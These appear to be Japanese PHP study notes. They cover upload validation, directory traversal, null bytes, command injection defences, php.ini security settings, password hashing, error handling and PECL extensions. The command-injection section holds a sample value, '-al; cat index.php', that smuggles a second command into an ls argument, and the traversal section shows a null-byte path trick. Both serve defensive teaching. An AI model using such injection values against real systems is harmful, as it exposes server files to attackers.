最大 7 つの要素からなる配列を返します。画像の形式によっては、 channels や bits は含まれないことがあります。

0 番目および 1 番目の要素は、それぞれ画像の幅と高さを表します。

注意: 形式によっては、画像を含まないものや複数の画像を含むものがあります。 これらの場合、getimagesize() は画像のサイズを適切に決定することができません。このような場合、 getimagesize() が返す幅と高さはいずれもゼロとなります。 2 番目の要素は IMAGETYPE_XXX constants 定数のひとつで、 画像の形式を表します。

3 番目の要素は IMG タグで直接利用できる文字列 height=”yyy” width=”xxx” です。

mimeは画像のMIMEタイプに一致します。この情報は 画像とともに正しい HTTP Content-type ヘッダを転送するために使用できます

getimagesize 返り値の例

画像でないときはFALSEが返ります。
PNGの例

array (size=6)
  0 => int 480
  1 => int 360
  2 => int 3          // GIF 1, JPEG 2, PNG 3
  3 => string 'width="480" height="360"' (length=24)
  'bits' => int 8
  'mime' => string 'image/png' (length=9)
2番目の要素 定数 値
IMAGETYPE_GIF 1
IMAGETYPE_JPEG 2
IMAGETYPE_PNG 3

画像アップロードサンプル

<?php
function check_uploaded_image_type($tmp, $name)
{
    $data = [
        'message' => '',
        'errors'  => [],
    ];
    $info = getimagesize($tmp);
    if ($info === false) {
        $data['message'] = '画像ではありません。';
        $data['errors'][] = 'Not Image.';

        return $data;
    }
    $ext = strtolower(pathinfo($name)['extension']);
    if ($ext !== 'gif' && $ext !== 'jpg' && $ext !== 'png') {
        $data['message'] = 'GIF, JPEG, PNG形式のファイルのみアップロードできます。';
        $data['errors'][] = 'Invalid File Type.';

        return $data;
    }

    if ($ext === 'gif' && $info[2] === IMAGETYPE_GIF) {
        $data['message'] = 'GIF画像です。';

        return $data;
    }
    if ($ext === 'jpg' && $info[2] === IMAGETYPE_JPEG) {
        $data['message'] = 'JPEG画像です。';

        return $data;
    }
    if ($ext === 'png' && $info[2] === IMAGETYPE_PNG) {
        $data['message'] = 'PNG画像です。';

        return $data;
    }
    $data['message'] = '不正なデータです。';
    $data['errors'][] = 'Invalid Data.';

    return $data;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['send']) && $_POST['send'] === '送信') {
    if (!is_uploaded_file($_FILES['file']['tmp_name'])) {
        echo 'アップロードされたファイルではありません。';

        return;
    }
    $data = check_uploaded_image_type($_FILES['file']['tmp_name'], $_FILES['file']['name']);
    if (count($data['errors']) === 0) {
        echo '正常なファイルです。'.$data['message'];
    } else {
        echo '不正なファイルです。'.$data['message'];
    }

}
?>
<html>
<body>
<form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="POST" enctype="multipart/form-data">
    <input type="text" name="foo">
    <input type="file" name="file">
    <input type="submit" name="send" value="送信">
</form>
</body>
</html>

ダウンロード

  • Content-Type を正しく設定してください。
  • 画像はマジックバイトを確認してください。
    マジックバイトは画像形式判別のためデータの先頭にある固定文字列のことです。
  • 必要があればContent-Disposition ヘッダを設定してください。

ブラウザで開く必要のないファイルはダウンロードを強制することですることで脆弱性を防ぐことができる場合があります。

Content-Type: application/octet-stream
Content-Disposition: attachment; filename=ファイル名

NULLバイト

NULLバイト(値が0のバイト)は下記で表します。
NULLバイトを文字列終端と判断する関数をバイナリセーフでない関数と呼びます。

種類 NULLバイト
8進数 \0
16進数 \x00
URLエンコーディング %00

バイナリセーフ

関数 内容
バイナリセーフな関数 NULLバイトを文字列終端と判断しません。
バイナリセーフでない関数 NULLバイトを文字列終端と判断します。

PHP5.3.4からファイルパスを指定可能な言語構造と関数の引数へNULLバイトが渡されたとき処理が失敗する(NULLバイトを含むパスを拒否する)よう修正されました。

  • 言語構造
    require_once, include
  • 関数
    copy(), file(), file_get_contents, file_put_contents, fopen(), readfile(), rename(), unlink(), chdir(), mkdir(), scandir()など

ディレクトリトラバーサル

外部入力へ親ディレクトリを表す../やNULLバイトを混入することで意図しないファイルを開かれる脆弱性です。

対策

  • basename関数でファイル名のみを取得します。
    basename関数はNULLバイトを削除しません。例えば/path/to/example.php%00.txtの帰り値はexample.php%00.txtです。example.phpが実行される可能性があります。PHP5.3.4以降は多くのファイル処理関数はNULLバイトがある場合エラーを返すようになりました。
  • 外部入力を英数字に限定します。

安全なファイル読み込み

$dir = '/var/www/data/';               // 公開ディレクトリの外を推奨
$allowed_ext = array('yaml', 'txt');   // 許可する拡張子(ドットなし)
$filename = basename($_GET['filename']);
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_ext, true)) {
    exit('不正なファイル名です。');
}
$file = file_get_contents($dir . $filename);

ディレクトリ・リスティング

ディエクトリへアスセスしたときにファイル一覧を表示する機能をディレクトリ・リスティング(Directory Listing)と呼びます。 httpd.conf

<Directory パス>
Options -Indexes
....
</Directory>

.htaccess

Options -Indexes

OSコマンドインジェクション

関数 意味  
escapeshellarg 「escapeshellarg() は、文字列をシングルクオート で括り、既存のシングルクオートを全てクオート/エスケープします。これにより、文字列を直接シェル関数に渡し、単一の安全な引数として処 理することを可能にします。この関数は、ユーザー入力からの入力を シェル関数への引数として渡す際にエスケープするために使用する必要 があります。シェル関数には、exec(), system()そして バックティック演算子 を含むシェル関数が含まれます。Windows では、escapeshellarg() は、パーセント記号と感嘆符 (遅延環境変数の展開) とダブルクォートをスペースに置き換えます。 そして、文字列をダブルクォートで囲みます」php公式マニュアル。  
escapeshellcmd 「escapeshellcmd() は、文字列中においてシェルコマンドを だまして勝手なコマンドを実行する可能性がある文字をエスケープします。 この関数は、ユーザーに入力されたデータを関数 exec() または system() または、 バックティック演算子 に渡す前に全てエスケープを行う場合に使用するべきです。__&#;` *?~<>^()[]{}$\、\x0A および \xFF については、その文字の前にバックスラッシュが 追加されます。’ および “ は、対になっていない場合にのみエスケープされます。Windowsでは、 これらの文字に加えて % と ! がスペースに置き換えられます。__」php公式マニュアル。
$injection = '-al; cat index.php';
$clean = escapeshellarg($injection);
// $cleanはコマンド全体をシングルクォートで囲んだ文字列となり一つのコマンドになります。
// ※ シングルクォートで囲まれた文字列は単一コマンドと解釈されます。
$result = system('ls '. $clean);
// ls '-al; cat index.php';
// セミコロン以降は実行されず、全体が1つの引数として渡されます。
// ただし先頭が「-」のためlsがオプションと解釈し、invalid optionエラーになります。
// 外部入力をコマンドの引数にするときは、「--」でオプション解釈を止めてください(例: 'ls -- ' . $clean)。
var_dump($result);

Ajaxのセキュリティ

項目 内容
レスポンスヘッダー Content-Type: application/json; charset=UTF-8
レスポンスヘッダー X-Content-Type-Options: nosniff (IE向け対策)
リクエストヘッダー X-Requested-With: XMLHttpRequestがないときはエラーを返す

sniff 匂いを嗅ぐ

php.ini

セキュリティ関連のphp.ini

ディレクティブ 値 内容
magic_quotes_gpc PHP5.3非推奨、5.4削除 使用しません。
session.use_only_cookies 1/0 1のときクライアントへセッションIDを保存するときにクッキーのみを利用します。またURLへセッションIDの埋め込みは機能しないためセッション固定化の対策になります。PHP5.3.0からデフォルトで1です。
session.use_cookies 1/0 クライアントへセッションIDを保存するときにクッキーを利用します。 URLへ埋め込まれたセッションIDも機能するためセッション固定化の対策にはなりません。PHP5.3.0からデフォルトで1です。
allow_url_fopen 1/0 fopenなどへリモートファイルを指定可能かを設定します。デフォルト1(指定可能)です。
allow_url_include 1/0 include, include_once, require, require_once で URL 対応の fopen ラッパーが使用できるようになります。 出典 PHPマニュアル。デフォルトは0です。この設定値を有効にするにはallow_url_fopenも有効でなければなりません。
disable_functions / 「このディレクティブを使うと、特定の関数を セキュリティ の観点から無効にすることができます。 関数名の一覧をカンマ区切りで指定します。disable_functions は セーフモード の影響を受けません。このディレクティブで無効にできるのは 内部の関数だけです。 ユーザーが定義した関数 は影響を受けません。このディレクティブは php.ini で設定しなければなりません。 たとえばこれを httpd.conf で設定することはできません。」PHP公式マニュアル。disable_functionsはsystemを設定することによりシステム関数の実行を停止できます。evalなど言語構造は指定できません。
upload_max_filesize 2M(既定) アップロードファイルのハードリミットです。 memory_limit > post_max_size > upload_max_filesizeです。
memory_limit 2048M(設定例。組み込みの既定は128M) PHPスクリプトが使用するメモリのリミットです。 -1は無制限です。
post_max_size 1024M(設定例。組み込みの既定は8M) POST送信できるデータの最大値です。
max_input_time 秒 PHPスクリプトがGETやPOSTをパースする最大の秒数です。
max_execution_time 秒 PHPスクリプトが強制終了されるまでの最大秒数です。デフォルトは30です。0は無制限です。
register_globals / PHP4.2以降デフォルトでOFF。5.3で非推奨、5.4で廃止。
session.use_trans_sid boolean session.use_trans_sidは、透過的なセッション IDの付加をするかどうかを指定します。 デフォルトは、0(無効)です。注意: URLに基づくセッション管理は、Cookieに基づくセッション管理と比べ てセキュリティリスクが大きくなります。例えば、ユーザーは、emailに より友人にアクティブなセッションIDを含むURLを送信する可能性があ り、また、ユーザーは自分のブックマークにセッションIDを含むURLを保 存し、常に同じセッションIDで使用するサイトにアクセスする可能性 があります。 PHP 7.1.0 以降では、https://php.net/ のような完全な URL パスが、透過的セッションID機能で扱われるようになります。 これより前のバージョンでは、相対 URL パスだけが対象でした。 リライト対象のホストは session.trans_sid_hosts で定義します。  
session.use_strict_mode Onにするとセッションアダプションを禁止します。  

ハッシュ関数/乱数

ハッシュ

関数 ソルト 内容
md5(uniqid(rand())) なし ユニークな文字列を作るためのスニペットですが、予測可能なため、セッションIDやCSRFトークンなど推測されてはいけない用途には使えません(その用途には後述の乱数を使います)。パスワードハッシュにも使用しないでください。
string hash ( string $algo , string $data [, bool $raw_output = false ] ) なし ソルトを使用しません。第1引数にアルゴリズム(md5, sha256など)を指定します。高速にハッシュを生成しますがパスワードハッシュのために使用すべきではありません。
string hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) なし(秘密鍵を使用) ソルトではなく秘密鍵を使うHMAC(メッセージ認証コード)です。改ざん検知や署名に使います。パスワードハッシュのために使用すべきではありません。
string password_hash ( string $password , integer $algo [, array $options ] ) 自動生成 パスワード用のハッシュを生成します(PHP5.5.0以降)。ソルトは自動生成されるため指定不要です。crypt関数のラッパーです。
第2引数(必須)にアルゴリズムを指定します。通常はPASSWORD_DEFAULTを指定します。現在はPASSWORD_BCRYPT(bcrypt/Blowfish)と同じですが、将来より良いアルゴリズムが追加されたときにPASSWORD_DEFAULTが指すアルゴリズムが変わります。
第3引数で[‘cost’ => 12]を指定すると212回の繰り返しでハッシュ化します(デフォルトは10です)。

identifiable.info - 暗号化処理をときほぐす: パスワードの格納に Base64 を使ってはいけない

$hash = password_hash("password", PASSWORD_DEFAULT); 

使ったアルゴリズムやコスト、そしてソルトもハッシュの一部として返されます。 つまり、ハッシュを検証するために必要な情報は、すべてそこに含まれているということです。 そのため、password_verify() でハッシュを検証するときに、 ソルトやアルゴリズムの情報を別に保存する必要はありません。

php公式マニュアル。

<?php
$password = 'password';
$hash = password_hash($password, PASSWORD_DEFAULT);

echo 'パスワードハッシュ: ' . $hash . '<br>';

echo '----- 認証処理 -----<br>';
if (password_verify($password, $hash)) {
    echo '認証成功'; // 実行されます。
} else {
    echo '認証失敗';
}

コマンドラインでハッシュ取得

$ php -r "echo password_hash('password', PASSWORD_DEFAULT, array('cost' => 12)) . PHP_EOL;"

saltオプションは指定しないでください(PHP7.0で非推奨になりました)。password_hashが安全なソルトを自動生成します。

乱数

<?php
$s = file_get_contents('/dev/urandom',false,NULL,0,24);
echo base64_encode($s);

徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3584). SBクリエイティブ株式会社. Kindle 版.

$s = openssl_random_pseudo_bytes(32);
echo base64_encode($s);

PHP逆引きレシピ p781

rand、mt_rand、uniqidは、トークン、セッションID、パスワードリセットなどセキュリティ用途には使用しないでください。

その他

time関数はUnix エポック (1970 年 1 月 1 日 00:00:00 GMT) からの通算秒を返します。
秒単位であることに注意してください。UNIXタイムスタンプを暗号などのソルトで利用するのは避けてください。

10秒以内の場合10通りの値しか返しません。

11章 アプリケーションのテクニック

require/include

言語構造 特徴
require 指定されたファイルがないとき致命的エラー(E_COMPILE_ERROR)を発生させ処理を停止します。
include 指定されたファイルがないとき警告(E_WARNING)を発し処理を続けます。
require_once requireと同じですが同一ファイルは複数回読み込む記載をしても一度だけ読み込みます。
include_once includeと同じですが同一ファイルは複数回読み込む記載をしても一度だけ読み込みます。
ディレクティブ 内容
allow_url_fopen 外部URLからデータの受け取り設定。 On/Off。デフォルトはOn。
allow_url_include 外部URLのファイルをrquire/includeする設定。 On/Off。デフォルトはOff。 allow_url_fopenもOnでなければいけない。
ディレクティブ 内容
include_path PHPが探索するディレクトリを指定

出力バッファリング

出力バッファリングは開始命令と終了命令の対で用います。終了命令を記述しなかった場合は、スクリプトの末尾でバッファリング終了とみなし、バッファリングしたデータが出力されます。

出典 徹底攻略PHP5技術者認定試験[上級]

関数 内容
ob_start 出力バッファリング開始
ob_end_clean 出力バッファリングの内容を消去し、出力のバッファリングを終了。出力バッファは削除されます。成功はTRUE。失敗はFALSEを返します。
ob_end_flush 出力バッファリングの内容を出力し、出力のバッファリングを終了。出力バッファは削除されます。 成功はTRUE。失敗はFALSEを返します。
ob_get_contents 出力バッファリングの内容を返しバッファリングを継続。出力バッファは保持されます。
ob_get_clean 出力バッファリングの内容を返しバッファリングを終了。出力バッファは削除されます。ob_get_contents()とob_end_clean()を同時に実行するのと同じ処理です。
ob_get_flush 出力バッファの内容を出力しバッファリングを終了します。出力バッファは削除されます。 ob_end_flushと似ていますがこちらは出力し、出力文字列を返します。
ob_flush 出力バッファリングの内容を出力(送信)し、バッファを空にしますが、バッファリングは継続します。
ob_clean 出力バッファリングの内容を削除しバッファリングを継続します。

header関数と出力バッファリング

header関数を出力バッファリングすることはできません。

PHPは何か出力した時点で必ずヘッダーが出力されます。
header関数より前に出力処理があるときheader関数で記エラーが発生します。

echo 'Hello World';
header('Content-Type: text/html; charset=UTF-8');
Warning: Cannot modify header information - headers already sent by ...

上記のエラーを回避するにはheader関数より前の出力をob_startでバッファリングするか、php.iniのoutput_bufferingをOnにする必要があります。

出力バッファのネスト

  • 出力バッファをネストしているときob_flushやob_end_flushは1階層上の出力バッファへ送信します。
  • ob_get_levelでネストの深さを取得できます。

出力を圧縮(gzip)

方法 設定箇所 内容
Apache mod_deflate .htaccess PHPに限らずJavaScript/CSSなども圧縮できます。
zlib.output_compression php.ini PHPの出力のみ圧縮します。
ob_gzhander ob_start(‘ob_gzhandler’) PHPの出力のみ圧縮します。

mod_deflateとzlib.output_compression=Onを同時に設定しているときはPHPではzlib.output_compression=Onが反映され、その他のファイルはmod_dflateで圧縮されます。

バッファリング注意

バッファリングは改行もバッファリングします。

エラー処理

PHPはエラーに応じてレベルが設定されています。
定義済み定数 PHP: Manual
下記表は上記マニュアルより引用。

値 定数 説明 注記
1 E_ERROR (integer) 重大な実行時エラー。これは、メモリ確保に関する問題のように復帰で きないエラーを示します。スクリプトの実行は中断されます。  
2 E_WARNING (integer) 実行時の警告 (致命的なエラーではない)。スクリプトの実行は中断さ れません。 /
4 E_PARSE (integer) コンパイル時のパースエラー。パースエラーはパーサでのみ生成されます。 /
8 E_NOTICE (integer) 実行時の警告。エラーを発しうる状況に遭遇したことを示す。 ただし通常のスクリプト実行の場合にもこの警告を発することがありうる。 /
16 E_CORE_ERROR (integer) PHPの初期始動時点での致命的なエラー。E_ERRORに 似ているがPHPのコアによって発行される点が違う。 /
32 E_CORE_WARNING (integer) /(致命的ではない)警告。PHPの初期始動時に発生する。 E_WARNINGに似ているがPHPのコアによって発行される 点が違う。 /
64 E_COMPILE_ERROR (integer) コンパイル時の致命的なエラー。E_ERRORに 似ているがZendスクリプティングエンジンによって発行される点が違う。 /
128 E_COMPILE_WARNING (integer) コンパイル時の警告(致命的ではない)。E_WARNINGに 似ているがZendスクリプティングエンジンによって発行される点が違う。 /
256 E_USER_ERROR (integer) ユーザーによって発行されるエラーメッセージ。E_ERROR に似ているがPHPコード上でtrigger_error()関数を 使用した場合に発行される点が違う。 /
512 E_USER_WARNING (integer) ユーザーによって発行される警告メッセージ。E_WARNING に似ているがPHPコード上でtrigger_error()関数を 使用した場合に発行される点が違う。 /
1024 E_USER_NOTICE (integer) ユーザーによって発行される注意メッセージ。E_NOTICEに に似ているがPHPコード上でtrigger_error()関数を 使用した場合に発行される点が違う。 /
2048 E_STRICT (integer) コードの相互運用性や互換性を維持するために PHP がコードの変更を提案する。 PHP 5 より
4096 E_RECOVERABLE_ERROR (integer) キャッチできる致命的なエラー。危険なエラーが発生したが、 エンジンが不安定な状態になるほどではないことを表す。 ユーザー定義のハンドラでエラーがキャッチされなかった場合 (set_error_handler() も参照ください) は、 E_ERROR として異常終了する。 PHP 5.2.0 より
8192 E_DEPRECATED (integer) 実行時の注意。これを有効にすると、 将来のバージョンで動作しなくなるコードについての警告を受け取ることができる。 PHP 5.3.0 より
16384 E_USER_DEPRECATED (integer) ユーザー定義の警告メッセージ。これは E_DEPRECATED と同等だが、 PHP のコード上で関数 trigger_error() によって作成されるという点が異なる。 PHP 5.3.0 より
32767 E_ALL (integer) サポートされる全てのエラーと警告。 PHP 5.4.0 より前のバージョンでは、E_STRICT レベルのエラーは除く。 PHP 5.4.x では 32767、 PHP 5.3.x では 30719、 PHP 5.2.x では 6143、 それより前のバージョンでは 2047 でした。

エラーは下記のように分類できる。

  • 処理を中断するエラー
    処理を中断するエラーはset_error_handlerでハンドリングできません(ただしcatch可能な致命的エラーはハンドリング可能)。
    • Fatal Error(致命的なエラー : E_ERROR 値1)
    • Parse Error(構文エラー : E_PARSE 値4)
  • 処理を中断しないエラー
    処理を中断しないエラーはset_error_handlerでハンドリングできます。
    • Warning(警告 : E_WARNING 値2)
    • Notice(注意 : E_NOTICE 値8)

タイプヒンティングでことなる引数が渡された時はcatch可能な致命的なエラーが発生します。
catch可能な致命的エラーはエラーハンドラ(set_error_handler)で例外に変更することができる致命的エラーです。

Fatal Errorの例

<?php
echo(some()); // some関数を定義していない。Fatal Error発生。スクリプトを中断。
echo '終了';   // ここは処理されない。
?>

Parse Errorの例

<?php
echo('test') // ;がない。Parse Error発生。スクリプトを中断。
echo '終了'; // ここは処理されない
?>

Noticeの例

<?php
echo($some); // someという変数を宣言していない。ここでNoticeが発生。
echo '終了'; // Noticeはスクリプトを中断しない。ここも実行され終了と表示される。
?>

Apache設定ファイルhttpd.confなどPHP外部でエラーレベルを設定するときは定数の代わりにビットマスク値(Integer)を使います。ただしビットマスク値はPHPのバージョンにより変更されることがあるので定数を使えるときは定義済み定数を使います。ビットマスク

PHPはエラーに応じてレベルが設定されています。
定義済み定数 PHP: Manual

エラーログ

ログは大きくデバッグのためのログとエラーログがあります。
php.iniのエラーログに関する設定は下記を参考にしてください。
PHP: 実行時設定 - Manual

error_log関数はエラーログだけでなく通常のログ出力もできます。

error_log($message, 3, 'debug.log');

php.ini確認

php.iniの場所は下記コマンドで確認できます。

$ php --ini

php.iniのエラー関連ディレクティブ

ディレクティブ|内容 —|— error_reporting|エラー出力レベルを設定します。 デフォルト(PHP5.6) Default Value: E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED display_errors|エラー(表示)のブラウザ送信の設定をします。組み込みの既定値はOn(有効)です(本番用のphp.ini-productionではOff)。 log_errors|エラーをログファイルへ出力します。log_errorsはブラウザへのエラー送信に関与しません。ブラウザへのエラー送信はdiplay_errosで行います。 error_log|エラー出力ファイルを指定します。
「ファイルはウェブサーバーユーザーで書き込めなければなりません。 syslog が指定されると、エラーはファイルではなく システムロガーに送られます。これは Unix では syslog(3) であり Windows NT ではイベントログのことです。システムロガーは Windows 95 ではサポートされていません。 syslog() も参照してください。 このディレクティブが設定されていない場合、エラーは SAPI エラーロガーに送信されます。これは、例えば Apache のエラーログ、 あるいは CLI なら stderr になります。」php公式マニュアル。

エラー関連関数

関数|内容 —|— bool error_log ( string $message [, int $message_type = 0 [, string $destination [, string $extra_headers ]]] ) | 「定義されたエラー処理ルーチンにエラーメッセージを送信する」PHP公式マニュアル。
0 PHPシステムロガー
1 メールアドレス
2 なし
3 ファイル
4 SAPI (SERVER API)
error_reporting| 関数定義以降のエラー報告レベルを動的に指定します。 trigger_error | ユーザーエラーを発生させます。 set_error_handler | エラーのハンドリングを指定します。 restore_error_handler | set_error_handlerを呼び出した後に当関数を呼び出すとエラーハンドリングを元に戻します。

エラー関連の定義済み定数

PHP: 定義済み定数 - Manual

画面出力せずログへ出力

1) エラー出力レベル設定

error_reporting = E_ALL & ~E_NOTICE & ~E_WARNING   # 報告レベル設定(E_NOTICEとE_WARNING以外を報告)。開発時はE_ALLを推奨

PHP: error_reporting - Manual

2) エラーの画面出力禁止

display_errors=Off # 画面へエラー表示禁止(組み込みの既定値はOn。php.ini-productionはOff)

3) ログ出力を許可、出力ファイル指定

log_errors=On                      # ログ出力許可。
error_log = /var/log/php/error.log # ログ出力ファイル指定。 PHP実行ユーザーが書き込める必要があります。  

log_errorsがOnでerror_logが指定されていないときはhttpdのエラーログへ出力されます。

エラーハンドリング(set_error_handler)

<?php
set_error_handler(function ($errno, $errstr, $errfile, $errline){
    echo "エラー情報: NO: {$errno}, メッセージ: {$errstr}, ファイル: {$errfile}, 行 {$errline}";
});

$a++; // エラー情報: NO: 8, メッセージ: Undefined variable: a, ファイル: /path/to/script.php, 行 9

restore_error_handler();

$b++; // Notice: Undefined variable: b in /path/to/script.php on line 11

errnoの8はE_NOTICEに対応します。対応表は下記を参照ください。
http://php.net/manual/ja/errorfunc.constants.php

「set_error_handler関数は、PHPの標準のエラーハンドラを完全にバイパスします。error_reporting()の設定にかからわず、set_error_handler()で設定したエラーハンドラがコールされます。」 徹底攻略PHP技術者認定試験(p374)。

エラー抑制演算子@

「PHPにはエラー抑制演算子@があります。@を式の先頭につけると、その式のエラーを報告しません。スクリプトを停止させるE_ERROR(致命的なエラー)であっても報告しません(B)。ただし、E_PARSE(構文エラー)は報告されます。」徹底攻略PHP技術者認定試験(p371)。

参考

12章 PHPの拡張

拡張モジュール(Extension)

PHPの拡張モジュール(Extension)については公式マニュアルを参照ください。
http://www.php.net/manual/ja/extensions.php

分類

所属で拡張モジュールが分類されています。

  • コア拡張
  • バンドルされている拡張
    バンドルされていても本体のソースコンパイル時に有効化していないものは使用できません。あとから有効化する方法はDynamic Extensionに記載しています。
  • 外部拡張
  • PECL 拡張

拡張モジュール作成/ビルド/インストール

モジュール名 foo

No 内容 生成物
1 PHPソースを取得する(以下php-src)。 php-src
2 php-src/extへ移動し、ext_skelでひな形を生成する(関数定義ファイルを使うときは–protoで指定する)。
$ cd /path/to/php-src/ext; ./ext_skel --extname=foo
php-src/ext/foo (foo.c, php_foo.h, config.m4, foo.php, tests/ など)
3 必要な関数をfoo.cへ実装する。 foo.c
4 php-src/ext/fooを本体のソースツリーの外(/path/to/foo)へ移動する。 /path/to/foo
5 /path/to/fooへ移動し、phpizeコマンドを実行する。
$ cd /path/to/foo; phpize
configureスクリプト
6 configureスクリプトを実行する。
$ ./configure
Makefile
7 ビルドする。
$ make
modules/foo.so
8 インストールする。
$ make install
/path/to/php/extension_dir/foo.so

Dynamic Extension

PHPは本体を再コンパイルしなくても動的に拡張モジュールを追加する機能があります。
大きな流れは下記のようになります。

  1. soファイルを作成。
  2. soファイルをextension_dirで設定したパスへ配置。
  3. php.iniのextensionディレクティブへsoファイル追加。

PECL拡張モジュールはpecl installがsoファイル作成・配置を自動で行います。
また拡張モジュールをYum(CentOS)やHomebrew(Mac)などパッケージ管理機構でインストールした場合も上記1〜3が自動で行われます。

MacのHomebrewでMcrypt拡張モジュールをインストールする例

$brew install homebrew/php/php56-mcrypt

CentOSのYumで拡張モジュールをインストールする例

# yum --enablerepo=remi-php70 install php-pdo php-mysqlnd php-mbstring
//gdインストール
//php-gdをインストール前にlibwebp、gd-lastをインストールします。
# yum --enablerepo=epel install libwebp
# yum install gd-last
# yum --enablerepo=remi-php70 install php-gd 

PECLやパッケージ管理機構を使わないモジュールでもphpizeを使い本体のソースを再コンパイルすることなく拡張モジュールのみコンパイルしsoファイルを作成することができます。

コマンド 内容
phpize configureスクリプト生成
$ cd /path/to/foo  // 取得した拡張モジュールディレクトリ
$ phpize           // configureスクリプト生成
$ ./configure       // Makefile生成
$ make             // soファイル生成
$ make install     // soファイルをextension_dirへ移動

下記リンクで詳細に解説されています。

  • http://hlis-toproad.com/blog/2015/02/24/338/
  • http://dqn.sakusakutto.jp/2015/07/php_extension_pecl_phpize.html

php/php-src: The PHP Interpreterのextディレクトリはバンドルされた拡張モジュールのソースが格納されています。コンパイルしたあとでDynamic Extensionとしてバンドルされた拡張モジュールをコンパイルするときはextディレクトリ内の該当する拡張モジュールディレクトリでphpizeを実行します。ソースからコンパイルしていない場合は拡張モジュールのソースをダンロードしそのディレクトリでphpizeを実行します。その後configure,make,make installを実行します(soファイルがextension_dirへ配置されます。php.iniのextensionディレクティブへ追加します。

PEAR/PECL

PECLはC言語で書かれたライブラリであり拡張モジュールです。
実体は.so拡張子のファイル(Windowsでは.dll)です。

http://dqn.sakusakutto.jp/2015/07/php_extension_pecl_phpize.html

PEARをインストールするとPECLもインストールされます。

// install-pear-nozlib.pharはphpをインストールすると配置されています。
$ sudo php /usr/lib/php/install-pear-nozlib.phar -d /usr/local/lib/php -b /usr/local/bin

PECL拡張モジュールインストール

  1. peclコマンドでパッケージをインストールします。
  2. php.iniのDynamic Extensionsへ.soファイル追加します。
    $ sudo pecl install foo
    

    インストール先への書き込み権限が必要なため、書き込み権限のあるユーザーまたはsudoで実行してください。なおNo releases available for package "pecl.php.net/foo"は、パッケージ名が誤っている、またはお使いのPHPバージョンに対応するリリースがないときのエラーです。

php.ini

;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
...
...
extension=foo.so

.soファイルの配置ディレクトリはphpinfo関数のextension_dirで確認できます。
php56は下記へインストールされました。

/usr/local/Cellar/php56/5.6.29_5/lib/php/extension

例 statsパッケージインストール

PECL拡張モジュールstatsは統計関数を集めたパッケージです。
PHP: 統計関数 - Manual

PHP公式マニュアルのインストールを見るとPECLでインストールする旨の記載があります。
PHP: インストール手順 - Manual

PECL :: Package :: statsを見るとPHP5.6系の最新は1.0.5(stats-1.0.5.tgz。2017年1月28日時点)であることがわかります。またPHP7系の最新は2.03となっています。

今回はPHP5.6系の最新バーションをインストールします。

$ sudo pecl install stats-1.0.5.tgz

php.iniへstats.soを追加します。 

/usr/local/etc/php/5.6/php.ini

インストール先はextension_dirになります。今回は下記でした。

/usr/local/Cellar/php56/5.6.29_5/lib/php/extensions/no-debug-non-zts-20131226/stats.so

phpinfo関数を確認するとstats項目が追加されVersionは1.0.5になっています。

PECL拡張モジュールアンインストール

  1. pecl uninstall fooで拡張モジュールアンインストール
  2. php.iniのDynamic Extensionsの項目からfoo.soを削除
$ sudo pecl uninstall foo

PECLをコンパイル/インストール

語彙 内容
PECL 「これらの拡張は » PECL にあります。 また、外部のライブラリを必要とするかもしれません。PECL には、この他にもまだ PHP マニュアルで文書化されていない拡張があります。」 出典PHP公式マニュアル。PECLはバンドルされておらずPECL(ポータル)で管理されている拡張モジュールです。
phpize phpizeというコマンドを叩いています。 これはconfigureスクリプトを生成するツールであると理解しておけばよいです。
*.so PECLの実体は拡張子.soファイルです。
$ pecl install hoge
  1. パッケージのソースコード一式(tar.gz)をダウンロード
  2. tar.gzを解凍
  3. ビルド
  4. 生成されたhoge.soファイルをextension_dirにコピー

extension_dirの場所

$ php -i | grep extension_dir

ビルド例

# エクステンションが依存するライブラリを入れておく
$ sudo yum install libmemcached-devel

# エクステンションのソースコードを取得
$ git clone -b php7 --depth 1 https://github.com/php-memcached-dev/php-memcached

# ビルド
$ cd php-memcached
$ phpize
$ ./configure
$ make
$ sudo make install

以上すべて下記のリンクから引用 [PHP]pecl,phpize,extensionという単語を見て頭痛がするあなたへの処方箋 · DQNEO起業日記

その他の用語

用語 意味
ZTS (Zend Thread Safety) スレッドセーフなPHPのビルド。マルチスレッドのWebサーバーなどで使用します。
TSRM (Thread Safe Resource Manager) スレッド間でグローバル変数などのリソースを分離するための仕組み。
PHP Api phpinfoで確認できます。
Zend Module Api 拡張モジュールのバイナリ互換性を示すAPI番号。ビルド時のAPI番号と一致しない拡張は読み込めません。
Zend Extension Api Zend拡張(zend_extension)用のAPI番号。

PEAR/PECLコマンド

下記はPECLの代表的なコマンドをまとめています。
例はPECLですがPEARも同じです。

コマンド 内容
pecl help ヘルプ表示。
pecl list ローカルのパッケージ一覧。
pecl remote-list リモートのパッケージ一覧。
pecl info <name> ローカルのパッケージ情報。
pecl remote-info <name> リモートのパッケージ情報表示。
pecl search <name> リモートのパッケージ検索
pecl list-upgrades インストール済みパッケージでアップグレード可能なパッケージ一覧を表示します
pecl upgrade <name> パッケージをアップグレードします。
pecl upgrade-all すべてのパッケージをアップグレードします。
pecl update-channels チャンネルリストをアップデートします。
pecl channel-discover チャンネルを登録します。

13章 WindowsでのPHP

改行

OS 改行 文字コード
Unix, Mac LF \n
Windows CRLF \r\n

PHPのソースコードの改行コードは、LFでもCRLFでもPHPは動作します。ただし、出力する文字列、メールヘッダ、HTTPヘッダなど、改行コードが仕様で決まっている箇所では明示的に指定してください。

実行環境がWindowsか調べる

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')   // Windowsのときtrue(PHP_OSはWINNTなど)
if (defined('PHP_WINDOWS_VERSION_MAJOR'))          // Windowsのときtrue。他のプラットフォームはfalse

パス区切り文字

Windowsはスラッシュとバックスラッシュの両方をパス区切り文字として認識します。
PHPのシステムでパス区切り文字を記述するときはDIRECTORY_SEPARATORを使用してください。

ファイル終端

ファイル終端の判定にはfeofを使用します。

php.ini mail functionセクション

Windowsではphp.iniのmail functionセクションでSMTPサーバーの設定ができます。

[mail function]
; For Win32 only.
; http://php.net/smtp
